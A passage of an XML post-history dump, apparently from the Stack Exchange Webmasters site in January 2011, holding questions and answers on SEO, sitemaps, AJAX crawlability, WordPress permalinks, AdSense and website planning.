  <row Id="18168" PostHistoryTypeId="25" PostId="8414" RevisionGUID="82860296-07a9-47ce-9c43-1ba6dfa65057" CreationDate="2011-01-28T17:16:07.447" Comment="http://twitter.com/#!/StackWebmasters/status/31037818943840256" />
  <row Id="18169" PostHistoryTypeId="5" PostId="8416" RevisionGUID="9e709e08-c8e1-4a11-a438-a4d227831d93" CreationDate="2011-01-28T17:19:02.267" UserId="4992" Comment="added 57 characters in body; edited title" Text="I know Google webmaster supports submitting Image, mobile, video and other types of sitemaps. YAHOO also mentions about mobile site map [here][1]. But does it support Image and video sitemaps.&#xD;&#xA;&#xD;&#xA;I could not find if BING supports any of these types other than XML sitemaps. Can someone please point me to any documentation on submitting Image and Mobile sitemaps.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://help.yahoo.com/l/uk/yahoo/mobile/search/mobilewebtips.html&#xD;&#xA;&#xD;&#xA;Also does YAHOO and Bing support index sitemap files?" />
  <row Id="18170" PostHistoryTypeId="4" PostId="8416" RevisionGUID="9e709e08-c8e1-4a11-a438-a4d227831d93" CreationDate="2011-01-28T17:19:02.267" UserId="4992" Comment="added 57 characters in body; edited title" Text="YAHOO and BING support for Index, Image and Mobile sitemaps" />
  <row Id="18171" PostHistoryTypeId="5" PostId="8416" RevisionGUID="b42824ac-47d5-405f-86c5-23669b9afcde" CreationDate="2011-01-28T17:26:27.033" UserId="4992" Comment="added 7 characters in body" Text="I know Google webmaster supports submitting Image, mobile, video and other types of sitemaps. YAHOO also mentions about mobile site map [here][1]. But does it support Image and video sitemaps.&#xD;&#xA;&#xD;&#xA;I could not find if BING supports any of these types other than XML sitemaps. Can someone please point me to any documentation on submitting Index, Image and Mobile sitemaps.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://help.yahoo.com/l/uk/yahoo/mobile/search/mobilewebtips.html&#xD;&#xA;&#xD;&#xA;Also does YAHOO and Bing support index sitemap files?" />
  <row Id="18172" PostHistoryTypeId="2" PostId="8418" RevisionGUID="1b149caa-248d-4c98-a320-705227048b6d" CreationDate="2011-01-28T17:40:30.640" UserId="4996" Text="I have a few videos I have transcribed. I'd like to know how I'd better include them in my blog posts. Should I caption them (e.g. in Youtube) or just include the transcript at the end of the post. &#xD;&#xA;&#xD;&#xA;Which one is better SEO-wise?" />
  <row Id="18173" PostHistoryTypeId="1" PostId="8418" RevisionGUID="1b149caa-248d-4c98-a320-705227048b6d" CreationDate="2011-01-28T17:40:30.640" UserId="4996" Text="Closed Captions vs Transcripts of the video: Which one is better for SEO?" />
  <row Id="18174" PostHistoryTypeId="3" PostId="8418" RevisionGUID="1b149caa-248d-4c98-a320-705227048b6d" CreationDate="2011-01-28T17:40:30.640" UserId="4996" Text="&lt;seo&gt;&lt;wordpress&gt;&lt;video&gt;" />
  <row Id="18175" PostHistoryTypeId="2" PostId="8419" RevisionGUID="4779cf53-958d-4fcb-b962-b09b30698f07" CreationDate="2011-01-28T17:59:50.370" UserId="4998" Text="Tumblr would be perfect for that. It was built to easily handle photos, video, text, etc., it can be highly customized, and it can run directly on your own site.&#xD;&#xA;&#xD;&#xA;http://www.tumblr.com/docs/en/custom_domains&#xD;&#xA;&#xD;&#xA;(It has had some serious server downtime lately, but hopefully that will be fixed soon.)" />
  <row Id="18176" PostHistoryTypeId="2" PostId="8420" RevisionGUID="50713982-db8f-494b-b834-2617ea74a5cd" CreationDate="2011-01-28T18:13:44.793" UserId="4996" Text="n wordpress, I have the option to choose how the permanent URL looks like.&#xD;&#xA;&#xD;&#xA;The common format is Year/Month/Day or Year/Month for blogs. However, I’ve occasionally seen some successful blogs take the date out: such as http://mixergy.com/dane-maxwell-zannee-interview/&#xD;&#xA;&#xD;&#xA;What’s the impact of the above format on SEO?&#xD;&#xA;&#xD;&#xA;Obviously, it’s more pleasant on the eye but does it negatively impact search ranking?&#xD;&#xA;&#xD;&#xA;Thank you" />
  <row Id="18177" PostHistoryTypeId="1" PostId="8420" RevisionGUID="50713982-db8f-494b-b834-2617ea74a5cd" CreationDate="2011-01-28T18:13:44.793" UserId="4996" Text="Permanent links format in wordpress: How to Choose? " />
  <row Id="18178" PostHistoryTypeId="3" PostId="8420" RevisionGUID="50713982-db8f-494b-b834-2617ea74a5cd" CreationDate="2011-01-28T18:13:44.793" UserId="4996" Text="&lt;seo&gt;&lt;wordpress&gt;" />
  <row Id="18179" PostHistoryTypeId="6" PostId="8372" RevisionGUID="de2ba540-0a68-47a7-b945-cd40b6a5ea71" CreationDate="2011-01-28T18:17:22.380" UserDisplayName="user4716" Comment="edited tags" Text="&lt;html&gt;&lt;css&gt;&lt;joomla&gt;" />
  <row Id="18180" PostHistoryTypeId="2" PostId="8421" RevisionGUID="64cd5e4d-d16f-44e8-9110-897c8a4985f5" CreationDate="2011-01-28T18:31:48.883" UserId="1064" Text="If you can, do both.&#xD;&#xA;&#xD;&#xA;If you can only do one or the other, stick with the transcript - it's guaranteed to be readable, regardless of how advanced a particular bot happens to be." />
  <row Id="18181" PostHistoryTypeId="2" PostId="8422" RevisionGUID="a2b52f18-d096-41a7-a2d3-8345795f0d4d" CreationDate="2011-01-28T18:47:40.693" UserId="4410" Text="One of my AdSense ad units (in the new beta interface) occasionally says that I have more clicks than page views which gives a CTR of over 100%.  Does anyone know how this happens?  I'm assuming it has something to do with when a page view is recorded, versus when someone clicks, but it happens regularly enough (on a daily report) that it can't just be that a bunch of users click an ad before the page displays fully." />
  <row Id="18182" PostHistoryTypeId="1" PostId="8422" RevisionGUID="a2b52f18-d096-41a7-a2d3-8345795f0d4d" CreationDate="2011-01-28T18:47:40.693" UserId="4410" Text="How can I have more clicks than page views in AdSense" />
  <row Id="18183" PostHistoryTypeId="3" PostId="8422" RevisionGUID="a2b52f18-d096-41a7-a2d3-8345795f0d4d" CreationDate="2011-01-28T18:47:40.693" UserId="4410" Text="&lt;google-adsense&gt;" />
  <row Id="18184" PostHistoryTypeId="2" PostId="8423" RevisionGUID="89c3f475-c2d1-4bd7-97bd-2a61c70a9535" CreationDate="2011-01-28T19:17:39.450" UserId="3273" Text="I'm trying to buy a domain which is parked, but the contact email address listed on the page itself bounces. I looked up the WHOIS data and there are no email addresses or phone numbers listed. There are  way too many hits on facebook / linkedin to try just searching for the name.&#xD;&#xA;&#xD;&#xA;What recourses do I have to try to get into contact with the owner?" />
  <row Id="18185" PostHistoryTypeId="1" PostId="8423" RevisionGUID="89c3f475-c2d1-4bd7-97bd-2a61c70a9535" CreationDate="2011-01-28T19:17:39.450" UserId="3273" Text="Buying a parked domain if the contact email bounces" />
  <row Id="18186" PostHistoryTypeId="3" PostId="8423" RevisionGUID="89c3f475-c2d1-4bd7-97bd-2a61c70a9535" CreationDate="2011-01-28T19:17:39.450" UserId="3273" Text="&lt;domains&gt;&lt;email&gt;&lt;purchase&gt;" />
  <row Id="18187" PostHistoryTypeId="2" PostId="8424" RevisionGUID="ca344513-6e44-4813-9793-c5df968db7de" CreationDate="2011-01-28T19:47:30.967" UserDisplayName="user5000" Text="I prefer just a unique number and the slug. The software then uses only the unique number to determine what content to show, and still works if the slug gets corrupted or changes. Just like SO does." />
  <row Id="18188" PostHistoryTypeId="2" PostId="8425" RevisionGUID="e1ce2052-7548-4f51-8b67-cff3ff8afc8e" CreationDate="2011-01-28T20:04:14.337" UserId="3671" Text="For testing web content in Firefox I'm searching for old versions of Firefox  Windows installers. [Evolt][1] is not up to date with historic Firefox builds. I'm looking for just the main point releases.  Sources can be downloaded from [Mozilla Developer Network][2] (MDN formerly MDC) but I don't want to build the browsers - I just want to install them.   &#xD;&#xA;&#xD;&#xA;  [1]: http://browsers.evolt.org/&#xD;&#xA;  [2]: https://developer.mozilla.org&#xD;&#xA;" />
  <row Id="18189" PostHistoryTypeId="1" PostId="8425" RevisionGUID="e1ce2052-7548-4f51-8b67-cff3ff8afc8e" CreationDate="2011-01-28T20:04:14.337" UserId="3671" Text="Archive of historic Firefox builds for Windows?" />
  <row Id="18190" PostHistoryTypeId="3" PostId="8425" RevisionGUID="e1ce2052-7548-4f51-8b67-cff3ff8afc8e" CreationDate="2011-01-28T20:04:14.337" UserId="3671" Text="&lt;firefox&gt;&lt;windows&gt;" />
  <row Id="18191" PostHistoryTypeId="25" PostId="8422" RevisionGUID="e6e714ce-1d04-4005-aa66-6918ed95b946" CreationDate="2011-01-28T20:16:08.040" Comment="http://twitter.com/#!/StackWebmasters/status/31083119717126145" />
  <row Id="18192" PostHistoryTypeId="2" PostId="8426" RevisionGUID="d0b42ea1-d09a-449e-b8d2-402e39150f02" CreationDate="2011-01-28T20:36:22.393" UserId="767" Text="I think you're going to have to do some detailed research.&#xD;&#xA;&#xD;&#xA;1. Google (Bing) for the email address to find other places it's mentioned&#xD;&#xA;1. For each parked domain that mentions the email address, do a WHOIS lookup to see if a phone number or email address is listed.&#xD;&#xA;1. To each distinct physical or postal address you find using WHOIS, send a real physical letter&#xD;&#xA;1. Do additional searches for those addresses - you may find details of the company itself (perhaps a web page)&#xD;&#xA;1. If you find the email address in other places (not parked domains), follow through to see if you can link the address to anything. Some sites have direct-messaging, others provide ways to email users.&#xD;&#xA;&#xD;&#xA;Take detailed notes as you go, else you're likely to go around in circles." />
  <row Id="18193" PostHistoryTypeId="17" PostId="8428" RevisionGUID="9e24c783-7041-48a5-a250-0955779fd11f" CreationDate="2011-01-28T20:54:17.703" UserId="-1" Comment="from http://stackoverflow.com/questions/4831675/website-not-coming-in-search-engine-results-because-of-a-term/4831713#4831713" Text="" />
  <row Id="18194" PostHistoryTypeId="2" PostId="8428" RevisionGUID="bfbb092b-7c83-4bb1-ba0f-532f4929ed95" CreationDate="2011-01-28T18:26:26.793" UserDisplayName="bdonlan" Text="Search engines such as Bing or Google build spelling correction tables based on usage frequency - your term, Vialogues, both is used too infrequently to be treated as a &quot;possibly-correct&quot; term, and is too close to a highly popular &quot;correct&quot; term, and so is treated as a probable error.&#xD;&#xA;&#xD;&#xA;Unfortunately, there's not much you can do here - your choices are to either:&#xD;&#xA;&#xD;&#xA;1. Change the name of your site to one that is not similar to a misspelling of a common word&#xD;&#xA;2. Get enough popularity that your term is recognized as a &quot;correct&quot; term" />
  <row Id="18195" PostHistoryTypeId="2" PostId="8427" RevisionGUID="d21e2619-ee4c-4b07-9c2f-12f2b542687f" CreationDate="2011-01-28T18:22:51.333" UserDisplayName="curiosity" Text="We have this site which is named Vialogues (Video+Discussion web based application). &#xD;&#xA;https://vialogues.com&#xD;&#xA;&#xD;&#xA;It has been around for sometime on the internet and we have also submitted sitemap.xml to search engines. However when we search on google or bing or yahoo using the keyword Vialogues, We are given results of the keyword dialogues and this message “showing results for dialogues, search instead for vialogues”.&#xD;&#xA;&#xD;&#xA;I am wondering if it's possible to list the site without the search engine suggesting “showing results for dialogues, search instead for vialogues”?" />
  <row Id="18196" PostHistoryTypeId="1" PostId="8427" RevisionGUID="d21e2619-ee4c-4b07-9c2f-12f2b542687f" CreationDate="2011-01-28T18:22:51.333" UserDisplayName="curiosity" Text="Website not coming in Search engine results because of a term" />
  <row Id="18197" PostHistoryTypeId="3" PostId="8427" RevisionGUID="d21e2619-ee4c-4b07-9c2f-12f2b542687f" CreationDate="2011-01-28T18:22:51.333" UserDisplayName="curiosity" Text="&lt;seo&gt;&lt;spellcheck&gt;" />
  <row Id="18198" PostHistoryTypeId="17" PostId="8427" RevisionGUID="a4d6f292-98d0-47f3-91f3-34c83fd141eb" CreationDate="2011-01-28T20:54:17.703" UserId="-1" Comment="from http://stackoverflow.com/questions/4831675/website-not-coming-in-search-engine-results-because-of-a-term" Text="" />
  <row Id="18199" PostHistoryTypeId="2" PostId="8429" RevisionGUID="39a94643-ae30-48ad-9854-bf8d11ba6277" CreationDate="2011-01-28T21:01:34.930" UserId="4879" Text="With the new method of doing things that I've put together, my page content is not actually on index.html or any of the other pages.  Instead, it is in index.txt and merely fetched by AJAX.&#xD;&#xA;&#xD;&#xA;Is my content, which is in index.txt, going to be invisible to the search engine spiders?  Or will it load the AJAX-fetched material and then analyze the whole thing once the material is fetched?" />
  <row Id="18200" PostHistoryTypeId="1" PostId="8429" RevisionGUID="39a94643-ae30-48ad-9854-bf8d11ba6277" CreationDate="2011-01-28T21:01:34.930" UserId="4879" Text="Will AJAX-fetched material be invisible to search engines?" />
  <row Id="18201" PostHistoryTypeId="3" PostId="8429" RevisionGUID="39a94643-ae30-48ad-9854-bf8d11ba6277" CreationDate="2011-01-28T21:01:34.930" UserId="4879" Text="&lt;seo&gt;&lt;ajax&gt;" />
  <row Id="18202" PostHistoryTypeId="17" PostId="8431" RevisionGUID="772f7a24-f6dd-488b-9fbe-26625dea72bc" CreationDate="2011-01-28T21:06:18.980" UserId="-1" Comment="from http://stackoverflow.com/questions/2933647/getting-on-mediawiki-spammers-list/2957202#2957202" Text="" />
  <row Id="18203" PostHistoryTypeId="17" PostId="8432" RevisionGUID="cf3674a4-86fd-4157-80d3-de88e962d9b1" CreationDate="2011-01-28T21:06:18.980" UserId="-1" Comment="from http://stackoverflow.com/questions/2933647/getting-on-mediawiki-spammers-list/4832641#4832641" Text="" />
  <row Id="18204" PostHistoryTypeId="2" PostId="8431" RevisionGUID="1cb9d792-17cb-47d7-91b1-0b8298032a23" CreationDate="2010-06-02T11:30:12.437" UserDisplayName="user337084" Text="You basically want to use your mediawiki install as a [honeypot][1]? Just allow anonymous changes to your wiki and the spammers will find you...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Honeypot_%28computing%29" />
  <row Id="18205" PostHistoryTypeId="2" PostId="8432" RevisionGUID="2e11b838-ed5b-4469-8ae3-82bb4143f554" CreationDate="2011-01-28T20:16:57.710" UserDisplayName="Adrian Archer" Text="Publish a lot of links to your wiki around the net in sketchy places. " />
  <row Id="18206" PostHistoryTypeId="2" PostId="8430" RevisionGUID="ce075bf2-1b3b-4ce6-b338-e036f9357aa0" CreationDate="2010-05-29T03:24:33.103" UserDisplayName="Dave" Text="I am setting up a test site which I WANT to get spammed by WIKI spammers, ie those spambots that run rampant on a wiki site filling it up with junk data... How do i get on one of those lists?" />
  <row Id="18207" PostHistoryTypeId="1" PostId="8430" RevisionGUID="ce075bf2-1b3b-4ce6-b338-e036f9357aa0" CreationDate="2010-05-29T03:24:33.103" UserDisplayName="Dave" Text="Getting on mediawiki spammers list?" />
  <row Id="18208" PostHistoryTypeId="3" PostId="8430" RevisionGUID="ce075bf2-1b3b-4ce6-b338-e036f9357aa0" CreationDate="2010-05-29T03:24:33.103" UserDisplayName="Dave" Text="&lt;mediawiki&gt;&lt;spam&gt;&lt;spamming&gt;" />
  <row Id="18209" PostHistoryTypeId="17" PostId="8430" RevisionGUID="02111ad6-9248-43a5-bd1d-c4346e0bbe88" CreationDate="2011-01-28T21:06:18.980" UserId="-1" Comment="from http://stackoverflow.com/questions/2933647/getting-on-mediawiki-spammers-list" Text="" />
  <row Id="18210" PostHistoryTypeId="2" PostId="8433" RevisionGUID="cf5e3905-4fce-4ad0-8926-c60d34f260ee" CreationDate="2011-01-28T21:08:10.107" UserId="2552" Text="It will not be searchable by the spiders. The spiders do not follow Javascript. You'll have to tell the spiders directly to index that content, but they will try to directly link to it then instead of dynamically load it from the previous page." />
  <row Id="18211" PostHistoryTypeId="2" PostId="8434" RevisionGUID="f9e645f2-e640-4bdb-901d-7ade48ca7b25" CreationDate="2011-01-28T21:11:48.433" UserId="1253" Text="In general any content produced dynamically through Ajax will not be crawlable s search engines do not interpret or run JavaScript. The only exception is Google which can handle dynamic JavaScript if youfollow their proposal for [crawlable Ajax][1].&#xD;&#xA;&#xD;&#xA;A well built website will make all of its dynamic content available even if JavaScript is not available. It's called progressive enhancement/graceful degradation and really is an accessibility must under most circumstances.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/web/ajaxcrawling/" />
  <row Id="18212" PostHistoryTypeId="2" PostId="8435" RevisionGUID="f2214aec-b15f-432b-a948-92ee8fec20ff" CreationDate="2011-01-28T21:23:16.017" UserId="4954" Text="the only way I can think of exposing the index.txt file is using a non-standard **Allow** directive in **[robots.txt file][1]**&#xD;&#xA;&#xD;&#xA;however, you should always build your site so it serves the content using ordinary links (anchors) and only then adding AJAX calls to improve usability&#xD;&#xA;&#xD;&#xA;for example, you can **intercept** and bypass clicks to menu links on your website (by using onclick=&quot;return false&quot;), then load content from pages behind those links via AJAX in the background and extract just the part you need to change on the page&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Robots_exclusion_standard" />
  <row Id="18213" PostHistoryTypeId="2" PostId="8436" RevisionGUID="d457b120-4a30-4818-a34c-9d7be257ef28" CreationDate="2011-01-28T21:36:25.110" UserId="4945" Text="Here is an option: have you tried browsershots.org?" />
  <row Id="18214" PostHistoryTypeId="2" PostId="8437" RevisionGUID="0c0ff2d7-9bee-4521-96cd-69f2bd89466b" CreationDate="2011-01-28T22:32:24.883" UserId="4945" Text="It would all depend on the customization of your player. In flash you could theoretically play an mp3 at the beginning and end.&#xD;&#xA;&#xD;&#xA;I'm not sure if you develop in flash or not, but it should be relatively simple. &#xD;&#xA;&#xD;&#xA;If you are using another player, you may want to look into creating 'playlists' for each mp3.&#xD;&#xA;&#xD;&#xA;Hope it helps!" />
  <row Id="18215" PostHistoryTypeId="2" PostId="8438" RevisionGUID="47a2a643-d13e-4a5e-95bf-98a438b4dafc" CreationDate="2011-01-28T22:33:47.753" UserId="5003" Text="I'm searching for a good [Bliki][1] solution, meaning a combination of blog and wiki that I can install on my own web space. I would like to be able to write articles in the wiki style much like with media wiki. So I want to use a wiki markup language, have a revision history, comments, internal links to other pages (maybe in other languages) and be able to collaboratively edit the articles. On the other side I would like to have a blog-like view on my articles, showing new articles (and changes to existing articles) in a time ordered fashion. &#xD;&#xA;&#xD;&#xA;It would be nice if it would be possible to search through the articles and also tag the articles, so one could generate a tag cloud for the articles. A nice feature would also be to be able to order the articles according to views or even a voting system for the articles. Good would also be a permission system to keep certain articles private, showing them only to people logged in to the platform. &#xD;&#xA;&#xD;&#xA;Apart from these nice to have features an absolute must have feature for the Bliki platform I'm searching is the possibility to handle math equations (written in LaTeX syntax) and display them either as pictures like media wiki or even better using Mathjax. &#xD;&#xA;&#xD;&#xA;At the moment I'm using a web service called wikiDot which offers some of the mentioned features, however the free version shows to much advertisements, the blog feature is not mature, the design is quite ugly and loading of the page is often slow. So I want to install a Bliki solution on my own webspace. Can you recommend any solution for that?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Bliki" />
  <row Id="18216" PostHistoryTypeId="1" PostId="8438" RevisionGUID="47a2a643-d13e-4a5e-95bf-98a438b4dafc" CreationDate="2011-01-28T22:33:47.753" UserId="5003" Text="Which Bliki (Blog+Wiki) solution can you recommend?" />
  <row Id="18217" PostHistoryTypeId="3" PostId="8438" RevisionGUID="47a2a643-d13e-4a5e-95bf-98a438b4dafc" CreationDate="2011-01-28T22:33:47.753" UserId="5003" Text="&lt;cms&gt;&lt;blog&gt;&lt;wiki&gt;" />
  <row Id="18218" PostHistoryTypeId="2" PostId="8439" RevisionGUID="4e502f15-b997-4ce7-9105-7899fb86021b" CreationDate="2011-01-28T22:36:23.180" UserId="4945" Text="You may want to check out an authorize.net developer account. You can use sandbox mode. I found a post there that is similar to your question.&#xD;&#xA;&#xD;&#xA;http://community.developer.authorize.net/t5/Integration-and-Testing/Is-there-a-way-to-test-CVV-amp-AVS-with-my-Sandbox-account/td-p/8009" />
  <row Id="18219" PostHistoryTypeId="5" PostId="7175" RevisionGUID="e5a90b3a-8bbb-49c4-b041-d10035c19eb0" CreationDate="2011-01-28T22:55:07.813" UserDisplayName="user4148" Comment="Google business listing is a solution" Text="Google business listing is a solution" />
  <row Id="18220" PostHistoryTypeId="24" PostId="7175" RevisionGUID="65989cab-706c-491f-b8bd-00b2538ab240" CreationDate="2011-01-28T22:55:07.813" Comment="Proposed by 4148 approved by 138 edit id of 1" />
  <row Id="18221" PostHistoryTypeId="5" PostId="8410" RevisionGUID="02d47d7f-ae5b-452b-8b96-cb35131dff66" CreationDate="2011-01-28T22:56:00.603" UserId="138" Comment="deleted 1 characters in body" Text="If you have some people already using your software, get them to do a testimonial for you. how did it help them? what was there problem? how was your product better than the others? &#xD;&#xA;&#xD;&#xA;Its just a small tip but It works especially well if you have some well known clients you can stick the logo of on your site." />
  <row Id="18222" PostHistoryTypeId="25" PostId="8429" RevisionGUID="5907304a-e7a4-4cab-8e73-6c66acac4c0b" CreationDate="2011-01-28T23:16:08.917" Comment="http://twitter.com/#!/StackWebmasters/status/31128421421551617" />
  <row Id="18223" PostHistoryTypeId="2" PostId="8440" RevisionGUID="8e1027a0-8348-4e79-93d6-ef8ffb1a8070" CreationDate="2011-01-28T23:22:22.310" UserId="67" Text="I need to list every city in a state (for instance, California), along with a huge list of automotive dealers per city. How do I do this on one page without looking like a link farm or spam page? " />
  <row Id="18224" PostHistoryTypeId="1" PostId="8440" RevisionGUID="8e1027a0-8348-4e79-93d6-ef8ffb1a8070" CreationDate="2011-01-28T23:22:22.310" UserId="67" Text="How to display a directory without looking like spam" />
  <row Id="18225" PostHistoryTypeId="3" PostId="8440" RevisionGUID="8e1027a0-8348-4e79-93d6-ef8ffb1a8070" CreationDate="2011-01-28T23:22:22.310" UserId="67" Text="&lt;spam&gt;&lt;directory&gt;&lt;display&gt;" />
  <row Id="18226" PostHistoryTypeId="2" PostId="8441" RevisionGUID="c48f0f40-9ed6-4719-b5d8-7af88adeeccb" CreationDate="2011-01-28T23:40:55.097" UserId="1253" Text="You need to brush up on your SEO lingo a bit I think. &#xD;&#xA;&#xD;&#xA;You won't be considered a link farm because you're not making a link farm. A link farm is a network of websites built for the specific purpose of propping up the link popularity of another website or websites. A directory is not a link farm unless built for that purpose which yours is not (I am assuming).&#xD;&#xA;&#xD;&#xA;A spam page is just a useless definition in SEO terms as it has no real meaning. But to assume it means you are somehow using your website to manipulate the search engines then you're fine because you're not doing that, right? There are countless directories that are out there doing what you're doing without issue so why would you be any different?&#xD;&#xA;&#xD;&#xA;If you mean spam page from a human perspective then don't fill the page which crappy ads and stuff like that. Make it a useful and easy to use listing. That's the exact opposite of what a spammy looking page does.&#xD;&#xA;&#xD;&#xA;So go ahead and build that directory and be successful. :)" />
  <row Id="18227" PostHistoryTypeId="6" PostId="8440" RevisionGUID="e37653cd-bee3-4538-94c9-262f2cdebfe3" CreationDate="2011-01-28T23:42:39.103" UserId="1253" Comment="removed &quot;display&quot; tag and added &quot;seo&quot; tag" Text="&lt;spam&gt;&lt;directory&gt;" />
  <row Id="18228" PostHistoryTypeId="5" PostId="8440" RevisionGUID="84be05d6-7449-48d3-b975-da74b54cfc2e" CreationDate="2011-01-29T00:18:40.277" UserId="67" Comment="clarified question" Text="I need to list every city in a state (for instance, California), along with a huge list of automotive dealers per city. How do I do this on one page without looking like a link farm/spam page to end users? " />
  <row Id="18229" PostHistoryTypeId="2" PostId="8442" RevisionGUID="072adc16-0a82-4ad6-834c-9679f7397bda" CreationDate="2011-01-29T00:29:34.417" UserId="4945" Text="You may try some open source link directories. They are pre made for what you are trying to do and could save you some of the hassle trying to avoid a particular look." />
  <row Id="18230" PostHistoryTypeId="2" PostId="8443" RevisionGUID="9c0fb550-ef28-4c6e-a595-31e7a41a3a51" CreationDate="2011-01-29T00:34:11.540" UserId="4945" Text="Here is a place to start:&#xD;&#xA;http://wordpress.org/extend/plugins/wordpress-wiki/&#xD;&#xA;&#xD;&#xA;You would have the best chance of being able to feed the wiki updates, entries, etc into your date ordered blog posts." />
  <row Id="18234" PostHistoryTypeId="2" PostId="8445" RevisionGUID="cc892a45-a11d-4d88-a61a-f8b8d8b2accd" CreationDate="2011-01-29T01:21:57.280" UserId="4643" Text="If google search query results are incorrect:   &#xD;&#xA; &#xD;&#xA;  - How can it be reported? &#xD;&#xA;  - What is the procedure to correct it?  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="18235" PostHistoryTypeId="1" PostId="8445" RevisionGUID="cc892a45-a11d-4d88-a61a-f8b8d8b2accd" CreationDate="2011-01-29T01:21:57.280" UserId="4643" Text="when google search gives incorrect results - how can it be reported?" />
  <row Id="18236" PostHistoryTypeId="3" PostId="8445" RevisionGUID="cc892a45-a11d-4d88-a61a-f8b8d8b2accd" CreationDate="2011-01-29T01:21:57.280" UserId="4643" Text="&lt;google-search&gt;" />
  <row Id="18239" PostHistoryTypeId="25" PostId="8440" RevisionGUID="f0549915-cb68-432b-91fc-73f61c0b2f21" CreationDate="2011-01-29T02:16:09.167" Comment="http://twitter.com/#!/StackWebmasters/status/31173721607639040" />
  <row Id="18240" PostHistoryTypeId="2" PostId="8447" RevisionGUID="11aea6d3-3261-44a9-95bd-8982cf34b43f" CreationDate="2011-01-29T02:23:01.643" UserId="5006" Text="First off,&#xD;&#xA;My group and I don't have any experience with databases or anything of that sort, only programming (not web-programming), so this post is just me wondering what things I should start researching and possibly some referral to a hosting company.&#xD;&#xA;&#xD;&#xA;The abstract idea is to have a list of things, each categorized, and each item with user-submitted reviews (made by users who are signed up with the website). &#xD;&#xA;&#xD;&#xA;Would absolutely everything be stored on a SQL database? (the long text reviews for example)&#xD;&#xA;&#xD;&#xA;Does anyone have any suggestions on some 'web frameworks' we could use to jumpstart us?&#xD;&#xA;&#xD;&#xA;What should our absolute first step be? (I was thinking about first designing the basic database? so we have something to work around...?)&#xD;&#xA;&#xD;&#xA;Should we worry about which host we choose right now, any recommendations? (would it be a trivial task to switch hosts in the future?)&#xD;&#xA;&#xD;&#xA;Thanks again, any help is appreciated!&#xD;&#xA;" />
  <row Id="18241" PostHistoryTypeId="1" PostId="8447" RevisionGUID="11aea6d3-3261-44a9-95bd-8982cf34b43f" CreationDate="2011-01-29T02:23:01.643" UserId="5006" Text="Looking to create a website ... need assistance on what technologies to use!" />
  <row Id="18242" PostHistoryTypeId="3" PostId="8447" RevisionGUID="11aea6d3-3261-44a9-95bd-8982cf34b43f" CreationDate="2011-01-29T02:23:01.643" UserId="5006" Text="&lt;web-development&gt;" />
  <row Id="18246" PostHistoryTypeId="2" PostId="8448" RevisionGUID="897596e9-8076-4db0-864d-3121acc238b6" CreationDate="2011-01-29T03:18:09.467" UserId="118" Text="I'm seeing a lot of sites go to a format similar to the one now in use by stackexchange sites (i.e. short topic - maybe a long topic - only finally the site's name).  Is this optimal SEO?  It seems kind weird both because I'm only begun to notice changes in this direction recently, and because it seems like it would make it harder to tell in search results which actual site you're visiting, even if the topic is one that matches.&#xD;&#xA;&#xD;&#xA;Still, sites like Facebook, StackOverflow, etc probably aren't wrong, so I'm wondering if I should try to make my sites use that format, going forwards..." />
  <row Id="18247" PostHistoryTypeId="1" PostId="8448" RevisionGUID="897596e9-8076-4db0-864d-3121acc238b6" CreationDate="2011-01-29T03:18:09.467" UserId="118" Text="I'm seeing a lot of a new format for title elements for major sites: a few tags, and only then the title of the site itself, is this now optimal SEO?" />
  <row Id="18248" PostHistoryTypeId="3" PostId="8448" RevisionGUID="897596e9-8076-4db0-864d-3121acc238b6" CreationDate="2011-01-29T03:18:09.467" UserId="118" Text="&lt;seo&gt;&lt;title&gt;&lt;optimization&gt;" />
  <row Id="18249" PostHistoryTypeId="2" PostId="8449" RevisionGUID="18cec844-b04f-4b44-a7ef-104585788be4" CreationDate="2011-01-29T04:15:59.423" UserId="1757" Text="Those sites are correct. It's Google who got it wrong this time. They made the mistake of making SEO conflict with usability. And most site owners tend to choose SEO over user experience. Unfortunately, until Google fixes their algorithm, we're probably going to see more and more sites titling their pages this way." />
  <row Id="18250" PostHistoryTypeId="2" PostId="8450" RevisionGUID="fef431ee-2740-4c4b-81be-7204698969b2" CreationDate="2011-01-29T04:24:00.583" UserId="4322" Text="It's good for SEO as the page specific keywords are first.&#xD;&#xA;&#xD;&#xA;It's good for SERPs as the meaning of the page will show up in search results. It's better for searchers to see what a page is about and not just the name of a company.&#xD;&#xA;&#xD;&#xA;It's good for users as their tabs and browser will display text that indicate what the page is about." />
  <row Id="18251" PostHistoryTypeId="25" PostId="8448" RevisionGUID="96af650e-ea97-4bca-8df6-f2d7524fee75" CreationDate="2011-01-29T05:16:08.590" Comment="http://twitter.com/#!/StackWebmasters/status/31219017800744962" />
  <row Id="18252" PostHistoryTypeId="2" PostId="8451" RevisionGUID="cda64cd6-f87a-45bf-859f-4dd78a2ef01f" CreationDate="2011-01-29T05:28:20.667" UserId="4803" Text="I'm going to describe the practices that have best worked for me. Others might have better ideas that could work for you.&#xD;&#xA;&#xD;&#xA;&lt;h3&gt;First Step: Plan&lt;/h3&gt;&#xD;&#xA;&lt;hr&gt;&#xD;&#xA;&#xD;&#xA;Write down the different functionality you want to have in the website. Go through the user's experience, and add or subtract features based on relevance and usability. Make sure you plan out what pages you want to include, and what functionality you want to have on each page individually. Keep in mind why people want to go to your website versus anyone else's. Try to give the user something original.&#xD;&#xA;&#xD;&#xA;Don't worry about building a database or any programming just yet. Having an ugly or inefficient website will drive users away a lot sooner than having a poorly coded back-end. The start is simply designing the layout and aesthetics.&#xD;&#xA;&#xD;&#xA;&lt;h3&gt;Second Step: Graphic Guide&lt;/h3&gt;&#xD;&#xA;&lt;hr&gt;&#xD;&#xA;&#xD;&#xA;Draft a graphical template of what you want it to look like, where you want your navigation, etc. I recommend using either Photoshop or Gimp. Researching usability studies and the such will help you determine what are the best practices. Also, looking at websites you commonly visit with a critical mindset will help you figure out what features you want to include. Make sure you always remember to keep the clutter down. Google is a perfect example of providing functionality without too much stuff on the page. Yahoo is a great example of what not to do (In my humble opinion).&#xD;&#xA;&#xD;&#xA;Your graphical draft should cover all of the basic areas of your website; banner design / location, 